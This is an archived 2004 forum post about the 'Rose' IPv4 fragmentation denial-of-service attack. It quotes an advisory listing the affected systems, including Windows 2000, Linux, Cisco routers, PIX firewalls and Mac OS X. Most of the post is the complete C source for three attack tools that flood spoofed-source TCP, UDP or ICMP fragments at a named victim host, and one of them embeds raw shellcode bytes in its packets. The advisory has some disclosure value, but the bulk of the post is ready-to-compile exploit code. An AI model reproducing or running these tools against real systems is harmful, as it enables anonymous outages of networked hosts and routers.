qcred11
May 1 2004, 03:37 AM
Extra Info:
QUOTE Of the machines I have had access to, this attack has caused any number of the following problems: 1) Causes the CPU to spike, thus exhausting processor resources. 2) Legitimate fragmented packets are dropped intermittently (unfragmented packets get through fine) 3) Legitimate fragmented packets are no longer accepted by the machine under attack (unfragmented packets get through fine) until the fragmentation time exceeded timers expire. 4) Devices like Cisco routers can have Buffer overflow, i.e. packets are dropped at high packet rates if there aren't enough buffers allocated. The following devices were tested and showed some or all of the above symptoms: 1) Microsoft Windows 2000 2) Mandrake Linux 9.2 2) Cisco 2621XM 3) PIX Firewall 4) Mac OS/X V10.2.8 (FreeBSD 5?) The following vendors have been notified of this condition prior to the release of this announcement: 1) Microsoft 2) Cisco (2621XM only) 3) Linux
Rose Attack
QUOTE Advisory at::http://digital.net/~gandalf/Rose_Frag_Attack_Explained.txt Implementation of Rose Attack described by Gandalf <gandalf@digital.net>. Reference: Bugtraq, 30 mars 2004, "IPv4 fragmentation, The Rose Attack" Written by Laurent Constantin Library netwib must be installed: http://www.laurentconstantin.com/en/netw/netwib/ http://go.to/laurentconstantin To compile and run : gcc -Wall -o rose rose.c `netwib-config -lc` ./rose 1 www.example.com 80 This was successfully tested with netwib 5.12.0, under Linux to test a Windows 2000 host. Local network is Ethernet. */ /*-------------------------------------------------------------*/ #include <stdlib.h> #include <stdio.h> #include <netwib.h> /*-------------------------------------------------------------*/ typedef enum { ROSE_TYPE_TCP = 1, ROSE_TYPE_UDP = 2 } rose_type; /*-------------------------------------------------------------*/ typedef struct { rose_type type; netwib_ip ipad; netwib_port port; netwib_bool display; netwib_buf buf; netwib_io *pio; } rose_params; /*-------------------------------------------------------------*/ static netwib_err rose_loop(rose_params *prp) { netwib_iphdr ipheader; netwib_tcphdr tcpheader; netwib_udphdr udpheader; netwib_buf payload; netwib_uint32 numsent = 0; /* This can be optimized because ipheader for example does not need to be initialized each time. However, this is easier to understand. */ while (NETWIB_TRUE) { /* construct first fragment */ netwib__buf_reinit(&prp->buf); netwib_er(netwib_iphdr_initdefault(NETWIB_IPTYPE_IP4, &ipheader)); ipheader.header.ip4.morefrag = NETWIB_TRUE; ipheader.header.ip4.offsetfrag = 0; /* not necessary, but to be clear */ ipheader.src.iptype = NETWIB_IPTYPE_IP4; netwib_er(netwib_uint32_init_rand_all(&ipheader.src.ipvalue.ip4)); ipheader.dst = prp->ipad; switch(prp->type) { case ROSE_TYPE_TCP : netwib_er(netwib_tcphdr_initdefault(&tcpheader)); netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &tcpheader.src)); if (prp->port == 0) { netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &tcpheader.dst)); } else { tcpheader.dst = prp->port; } tcpheader.ack = NETWIB_TRUE; netwib_er(netwib_buf_init_ext_text("1234567890123456789012345678", &payload)); netwib_er(netwib_pkt_append_iptcpdata(&ipheader, &tcpheader, &payload, &prp->buf)); break; case ROSE_TYPE_UDP : netwib_er(netwib_udphdr_initdefault(&udpheader)); netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &udpheader.src)); if (prp->port == 0) { netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &udpheader.dst)); } else { udpheader.dst = prp->port; } netwib_er(netwib_buf_init_ext_text("12345678901234567890123456789012", &payload)); netwib_er(netwib_pkt_append_ipudpdata(&ipheader, &udpheader, &payload, &prp->buf)); break; } if (prp->display) { netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY, NETWIB_ENCODETYPE_DUMP)); } netwib_er(netwib_io_write(prp->pio, &prp->buf)); /* construct last fragment */ netwib__buf_reinit(&prp->buf); ipheader.header.ip4.morefrag = NETWIB_FALSE; ipheader.header.ip4.offsetfrag = 0x1FF0; switch(prp->type) { case ROSE_TYPE_TCP : ipheader.protocol = NETWIB_IPPROTO_TCP; break; case ROSE_TYPE_UDP : ipheader.protocol = NETWIB_IPPROTO_UDP; break; } netwib_er(netwib_buf_init_ext_text("12345678901234567890123456789012", &payload)); netwib_er(netwib_pkt_append_ipdata(&ipheader, &payload, &prp->buf)); if (prp->display) { netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY, NETWIB_ENCODETYPE_DUMP)); } netwib_er(netwib_io_write(prp->pio, &prp->buf)); /* dot display */ if (!prp->display && (numsent%100)==0) { printf("."); fflush(stdout); } numsent++; } return(NETWIB_ERR_OK); } /*-------------------------------------------------------------*/ int main(int argc, char* argv[]) { rose_params rp; netwib_buf ipstr; netwib_err ret; /* initialize netwib */ netwib_init(); /* check parameter count */ if (argc < 3 || argc > 4) { printf("Usage : %s type(1or2) ipaddress [port]\n", argv[0]); printf("Example: %s 1 1.2.3.4 80\n", argv[0]); printf(" type : %d=tcp, %d=udp\n", ROSE_TYPE_TCP, ROSE_TYPE_UDP); printf(" ipaddress: address to test\n"); printf(" port : optional port number (0 means random)\n"); return(1); } /* first parameter is type */ rp.type = atoi(argv[1]); switch(rp.type) { case ROSE_TYPE_TCP : case ROSE_TYPE_UDP : break; default : printf("First parameter must be 1 or 2 (currently=%s)\n", argv[1]); return(2); } /* second parameter is IP address */ netwib_er(netwib_buf_init_ext_text(argv[2], &ipstr)); ret = netwib_ip_init_buf(&ipstr, NETWIB_IP_DECODETYPE_BEST, &rp.ipad); if (ret != NETWIB_ERR_OK) { printf("Second parameter must be an IP or hostname (currently=%s)\n", argv[2]); return(3); } /* third parameter is port number */ rp.port = 0; if (argc == 4) { rp.port = atoi(argv[3]); /* on error, set to 0, but that's ok */ } /* set to NETWIB_TRUE to activate display */ rp.display = NETWIB_FALSE; /* instead of allocating memory each time, just use this permanent buffer */ netwib_er(netwib_buf_init_mallocdefault(&rp.buf)); /* initialize spoofing feature */ netwib_er(netwib_io_init_spoof_ip(NETWIB_SPOOF_IP_INITTYPE_LINKBRAW, &rp.pio)); /* main function */ ret = rose_loop(&rp); if (ret != NETWIB_ERR_OK) { netwib_er(netwib_err_display(ret, NETWIB_ERR_ENCODETYPE_FULL)); return(ret); } /* close netwib */ netwib_er(netwib_io_close(&rp.pio)); netwib_er(netwib_buf_close(&rp.buf)); netwib_close(); return(0); }
++++++++++++++++++++++++++++++++++++++++++++++++++++ROSE attack (variation 2)
QUOTE ROSE attack (variation 2) (chuck (at) lemure.net) Discovered by: gandalf (at) digital.net code modified from large IGMP attack by: Kox by Coolio (coolio (at) k-r4d.com) Sends out small IP fragments totalling up to a large ICMP packet. Then repeatedly sends last IP Fragment forcing reassembly code to traverse to last IP fragment in order to do a free() followed by a malloc(). Or so it seems. Reportedly works for TCP / UDP as well, since this is a IP layer attack. ***/ /* just a thousand kills win XP */ #define NUM_PACKETS 100 #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <netdb.h> #include <string.h> #include <errno.h> #include <pwd.h> #include <time.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/utsname.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netinet/ip_icmp.h> void usage(char *arg) { printf("Rose attack\n"); printf("Usage: %s <victim> [source]\n", arg); printf("If source not specified, will send out from random ip's\n"); exit(1); } unsigned int randip() { struct hostent *he; struct sockaddr_in sin; char *buf = (char *)calloc(1, sizeof(char) * 16); sprintf(buf, "%d.%d.%d.%d", (random()%191)+23, (random()%253)+1, (random()%253)+1, (random()%253)+1); return inet_addr(buf); } unsigned short in_cksum(unsigned short *buh, int len) { register long sum = 0; unsigned short oddbyte; register unsigned short answer; while(len > 1) { sum += *buh++; len -= 2; } if(len == 1) { oddbyte = 0; *((unsigned char *)&oddbyte) = *(unsigned char *)buh; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xFFFF); sum += (sum >> 16); answer = ~sum; return answer; } int fire_away(struct sockaddr_in *victim, unsigned long src) { int SMALLICMP = 1; unsigned char *pkt; struct iphdr *ip; struct igmphdr *igmp; struct icmphdr *icmp_pkt; struct utsname *un; struct passwd *p; int idList[NUM_PACKETS]; unsigned long j; int i, s; int id = (random() % 40000) + 500; for (i=0;i<NUM_PACKETS;i++) idList[i]=(random() % 40000) + 500; pkt = (unsigned char *)calloc(1, SMALLICMP + sizeof(struct iphdr) + sizeof(struct icmphdr)); ip = (struct iphdr *)pkt; icmp_pkt = (struct icmphdr *)(pkt + sizeof(struct iphdr)); ip->version = 4; ip->ihl = (sizeof *ip) / 4; ip->ttl = 255; ip->tot_len = htons(SMALLICMP); ip->protocol = 1; ip->id = htons(id); ip->frag_off = htons(IP_MF); ip->saddr = src; ip->daddr = victim->sin_addr.s_addr; ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); icmp_pkt->type = ICMP_ECHO; icmp_pkt->code = 0; icmp_pkt->checksum = 1000; icmp_pkt->un.echo.id = random() % 255; icmp_pkt->un.echo.sequence = random() % 255; for(i = sizeof(struct iphdr) + sizeof(struct icmphdr) + 1; i < SMALLICMP; i++){ pkt[i] = random() % 255; } if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("error: socket()"); return 1; } printf(" Sending out series of small fragments\r\n"); for(i=0;i<NUM_PACKETS;i++){ ip->id = htons(idList[i]); for (j=0; j<8170; j += SMALLICMP + 1){ ip->frag_off = htons(j | IP_MF); if(sendto(s, pkt, SMALLICMP + sizeof(struct iphdr), 0, (struct sockaddr *)victim, sizeof(struct sockaddr_in)) == -1) { perror("error: sendto()"); return 1; } } } printf(" Sending out tailing fragments\r\n"); /* big frag at end... */ /* sending a large amount of the end fragments over and over. This is definitely overkill, but seems to work */ for (j=0;j<9999*NUM_PACKETS;j++){ for(i=0;i<NUM_PACKETS;i++){ ip->id=htons(idList[i]); ip->frag_off = htons(8190|IP_MF); //ip->frag_off = htons(8100 | IP_MF); sendto(s, pkt, sizeof(struct iphdr) + SMALLICMP, 0, (struct sockaddr *)victim, sizeof(struct sockaddr_in)); /* if you do sleep, CPU usage goes way down. But memory usage still creeps upward */ //usleep(100); //sleep after every trailing packet } usleep(100); //sleep after every series of NUM_PACKETS } free(pkt); close(s); return 0; } int main(int argc, char *argv[]) { struct sockaddr_in victim; struct hostent *he; unsigned long source; int i; srandom(time(NULL)); if(argc < 2) usage(argv[0]); if((he = gethostbyname(argv[1])) == NULL) { herror(argv[1]); exit(1); } if (argc > 2){ source = inet_addr(argv[2]); } else { source = randip(); } memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length); victim.sin_port = htons(0); victim.sin_family = PF_INET; printf("Sending ICMP fragments: \r\n"); fflush(stdout); fire_away(&victim, source); if (argc < 3){ source = randip(); } fflush(stdout); printf("\nDONE\n"); fflush(stdout); } /*** ROSE attack (chuck@lemure.net) Discovered by: gandalf@digital.net code modified from large IGMP attack by: Kox by Coolio (coolio@k-r4d.com) Sends out first and last ICMP packet echo request. Reportedly works for TCP / UDP as well, since this is a IP layer attack. Eats up all available packets for fragmentation reassembly. ***/ /* just a thousand kills win XP */ #define NUM_PACKETS 1000 #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <netdb.h> #include <string.h> #include <errno.h> #include <pwd.h> #include <time.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/utsname.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netinet/ip_icmp.h> /* Figured I try sending some shell code for my random payload... doesn't do anything */ char code[] = "\xe8\x38\x00\x00\x00\x43\x4d\x44\x00\xe7\x79\xc6\x79\xe5\x49\x86" "\x49\xa4\xad\x2e\xe9\xa4\x1a\x70\xc7\xd9\x09\xf5\xad\xcb\xed\xfc" "\x3b\x8e\x4e\x0e\xec\x7e\xd8\xe2\x73\xad\xd9\x05\xce\x72\xfe\xb3" "\x16\x57\x53\x32\x5f\x33\x32\x2e\x44\x4c\x4c\x00\x01\x5b\x54\x89" "\xe5\x89\x5d\x00\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c" "\xad\x8b\x58\x08\xeb\x0c\x8d\x57\x2c\x51\x52\xff\xd0\x89\xc3\x59" "\xeb\x10\x6a\x08\x5e\x01\xee\x6a\x0a\x59\x8b\x7d\x00\x80\xf9\x06" "\x74\xe4\x51\x53\xff\x34\x8f\xe8\x90\x00\x00\x00\x59\x89\x04\x8e" "\xe2\xeb\x31\xff\x66\x81\xec\x90\x01\x54\x68\x01\x01\x00\x00\xff" "\x55\x20\x57\x57\x57\x57\x47\x57\x47\x57\xff\x55\x1c\x89\xc3\x31" "\xff\x57\x57\x68\x02\x00\x22\x11\x89\xe6\x6a\x10\x56\x53\xff\x55" "\x18\x57\x53\xff\x55\x14\x57\x56\x53\xff\x55\x10\x89\xc2\x66\x81" "\xec\x54\x00\x8d\x3c\x24\x31\xc0\x6a\x15\x59\xf3\xab\x89\xd7\xc6" "\x44\x24\x10\x44\xfe\x44\x24\x3d\x89\x7c\x24\x48\x89\x7c\x24\x4c" "\x89\x7c\x24\x50\x8d\x44\x24\x10\x54\x50\x51\x51\x51\x41\x51\x49" "\x51\x51\xff\x75\x00\x51\xff\x55\x30\x89\xe1\x68\xff\xff\xff\xff" "\xff\x31\xff\x55\x2c\x57\xff\x55\x0c\xff\x55\x28\x53\x55\x56\x57" "\x8b\x6c\x24\x18\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18" "\x8b\x5a\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc" "\x31\xc0\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c" "\x24\x14\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c" "\x01\xeb\x8b\x04\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d" "\x5b\xc2\x08\x00"; void usage(char *arg) { printf("Rose attack\n"); printf("Usage: %s <victim> [source]\n", arg); printf("If source not specified, will send out from random ip's\n"); exit(1); } unsigned int randip() { struct hostent *he; struct sockaddr_in sin; char *buf = (char *)calloc(1, sizeof(char) * 16); sprintf(buf, "%d.%d.%d.%d", (random()%191)+23, (random()%253)+1, (random()%253)+1, (random()%253)+1); return inet_addr(buf); } unsigned short in_cksum(unsigned short *buh, int len) { register long sum = 0; unsigned short oddbyte; register unsigned short answer; while(len > 1) { sum += *buh++; len -= 2; } if(len == 1) { oddbyte = 0; *((unsigned char *)&oddbyte) = *(unsigned char *)buh; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xFFFF); sum += (sum >> 16); answer = ~sum; return answer; } int rose(struct sockaddr_in *victim, unsigned long src) { int SMALLICMP = 1000; unsigned char *pkt; struct iphdr *ip; struct igmphdr *igmp; struct icmphdr *icmp_pkt; struct utsname *un; struct passwd *p; int i, s,j; int id = (random() % 40000) + 500; pkt = (unsigned char *)calloc(1, SMALLICMP); ip = (struct iphdr *)pkt; icmp_pkt = (struct icmphdr *)(pkt + sizeof(struct iphdr)); ip->version = 4; ip->ihl = (sizeof *ip) / 4; ip->ttl = 255; ip->tot_len = htons(SMALLICMP); ip->protocol = 1; ip->id = htons(id); ip->frag_off = htons(IP_MF); ip->saddr = src; ip->daddr = victim->sin_addr.s_addr; ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); icmp_pkt->type = ICMP_ECHO; icmp_pkt->code = 0; icmp_pkt->checksum = 1000; icmp_pkt->un.echo.id = random() % 255; icmp_pkt->un.echo.sequence = random() % 255; for(i = sizeof(struct iphdr) + sizeof(struct icmphdr) + 1; i < SMALLICMP; i++){ //pkt[i] = random() % 255; pkt[i] = '\x00'; } j=0; for (i=sizeof(struct iphdr) + sizeof(struct icmphdr) + 500; i < sizeof(struct iphdr) + sizeof(struct icmphdr) + 500 + 356; i++){ pkt[i] = code[j]; j++; } if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("error: socket()"); return 1; } if(sendto(s, pkt, SMALLICMP, 0, (struct sockaddr *)victim, sizeof(struct sockaddr_in)) == -1) { perror("error: sendto()"); return 1; } /* big frag at end... */ ip->frag_off = htons(8100); //ip->frag_off = htons(8100 | IP_MF); sendto(s, pkt, SMALLICMP, 0, (struct sockaddr *)victim, sizeof(struct sockaddr_in)); free(pkt); close(s); usleep(1000); return 0; } int main(int argc, char *argv[]) { struct sockaddr_in victim; struct hostent *he; unsigned long source; int i; srandom(time(NULL)); if(argc < 2) usage(argv[0]); if((he = gethostbyname(argv[1])) == NULL) { herror(argv[1]); exit(1); } if (argc > 2){ source = inet_addr(argv[2]); } else { source = randip(); } memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length); victim.sin_port = htons(0); victim.sin_family = PF_INET; printf("Sending ICMP fragments: "); fflush(stdout); for(i = 0; i < NUM_PACKETS; i++) { rose(&victim, source); if (argc < 3){ source = randip(); } printf("%d\n", i); fflush(stdout); } printf("\nDONE\n"); fflush(stdout); }
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please
click here .